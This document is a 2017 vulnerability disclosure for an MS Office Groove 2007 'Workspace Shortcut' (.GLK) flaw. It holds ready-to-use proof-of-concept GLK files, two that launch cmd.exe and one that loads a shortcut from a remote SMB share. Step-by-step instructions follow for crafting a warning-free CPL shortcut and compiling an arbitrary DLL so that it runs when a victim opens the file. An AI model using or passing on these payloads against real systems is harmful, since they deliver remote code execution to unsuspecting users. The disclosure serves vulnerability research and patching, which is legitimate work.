Title: MS Office Groove 'Workspace Shortcut' Arbitrary Code Execution Vulnerability
Date: September 28th, 2017.
Author: Eduardo Braun Prado
Vendor Homepage: http://www.microsoft.com/
Software Link: https://products.office.com/
Version: 2007 32-bits (x86)
Tested on: Windows 7/Server 2008/Vista/Server 2003/XP (X86 and x64)
CVE: N/A
Description:
MS Office Groove contains a security bypass issue regarding 'Workspace Shortcut' files (.GLK)
because it allows arbitrary (registered) URL Protocols to be passed, when only 'grooveTelespace://' URLs
should be allowed, which allows execution of arbitrary code upon opening a 'GLK' file.
Usually, URLs are passed to web browsers, but because it uses 'ShellExecute()', if malicious users pass
a 'file:///' URL, it will launch the default application for the file type specified in the URL. Important:
the 'GLK' extension is not in any of the Microsoft black list (eg. Outlook, IE) so we assume it´s a 'safe' file type. 2 proof of
concepts are provided, one for simply launching 'cmd.exe', and another, remote, that works on any Windows version:
-----poc_cmd_x64.GLK--------------------------------------------------------------------------------
<?xml version='1.0'?><?groove.net version='1.0'?><ns1:ExplorerLink xmlns:ns1="urn:groove.net">
<ns1:NavigationInfo URL="file:///C:\windows\syswow64\cmd.exe"/>
</ns1:ExplorerLink>
----------------------------------------------------------------------------------------------------
-----poc_cmd_x86.GLK--------------------------------------------------------------------------------
<?xml version='1.0'?><?groove.net version='1.0'?><ns1:ExplorerLink xmlns:ns1="urn:groove.net">
<ns1:NavigationInfo URL="file:///C:\windows\system32\cmd.exe"/>
</ns1:ExplorerLink>
----------------------------------------------------------------------------------------------------
-----poc_CPL.GLK------------------------------------------------------------------------------------
<?xml version='1.0'?><?groove.net version='1.0'?><ns1:ExplorerLink xmlns:ns1="urn:groove.net">
<ns1:NavigationInfo URL="file:///\\192.168.0.50\share\CPL_Shortcut.lnk"/>
</ns1:ExplorerLink>
----------------------------------------------------------------------------------------------------
* the 'CPL_Shortcut.lnk' is a special type of shortcut, which doesn´t trigger warnings upon opening,
that can be easily created by dragging a
Windows Control Panel item icon from the Control Panel folder to the Desktop. Notice the item must be
a CPL file, not a special folder (some control panel items are just special types of folder not the
classic CPL file.
The easiest way to do it is:
a) Grab a Windows XP machine (there are lots of Control Panel items that are CPL files)
b) Drag and drop an icon, eg. the 'User Accounts' icon to the Desktop.
c) Open the shortcut file created in the Desktop with an Hex Editor (you may need to rename the file,
removing the '.lnk' extension or some programs will load the target of the shortcut instead of the shortcut
file itself). Edit the portion (in 'Unicode' format) that points to :
c:\windows\system32\nusrmgr.cpl and write an UNC path pointing to a valid CPL file:
\\192.168.0.50\share\cpl_sh.cpl (don´t forget the maximum path length (32 chars) must NOT be exceeded.)
d) Save the file and rename it to "CPL_Shortcut.lnk" and finally place it in the appropriate folder,
which will be accessed from remote, via: \\192.168.0.50\share
e) Using MS Visual Studio (tested with a C++ DLL compiled with VS 2008),
compile a DLL with code of choice and a 'DllMain' function and name it "cpl_sh.cpl".
f) Make sure the share and the 2 files (the .CPL and .LNK) are anonymously accessible from a remote
machine.
That´s it, now just open the 'GLK' files. Both 'cmd.exe' and the CPL file should be executed/loaded.
Notice the files located in the remote share will take longer than 'CMD.exe' to be executed for obvious
reasons, just wait a few seconds.
